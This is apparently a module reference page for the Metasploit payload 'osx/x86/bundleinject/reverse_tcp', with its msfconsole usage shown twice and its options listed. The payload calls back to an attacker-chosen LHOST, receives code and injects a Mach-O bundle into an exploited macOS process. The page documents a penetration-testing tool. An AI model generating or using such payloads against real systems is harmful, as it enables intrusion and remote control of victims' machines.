Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
Connect, read length, read buffer, execute, Inject a custom Mach-O bundle into the exploited process
Rank
- Normal
Authors
- ddz < ddz [at] theta44.org >
Similar Modules
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/osx/x86/bundleinject/reverse_tcp
msf payload(reverse_tcp) > set BUNDLE [PATH]
msf payload(reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/osx/x86/bundleinject/reverse_tcp
msf payload(reverse_tcp) > set BUNDLE [PATH]
msf payload(reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(reverse_tcp) > generate
Module Options
| BUNDLE | The local path to the Mach-O bundle to upload |
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
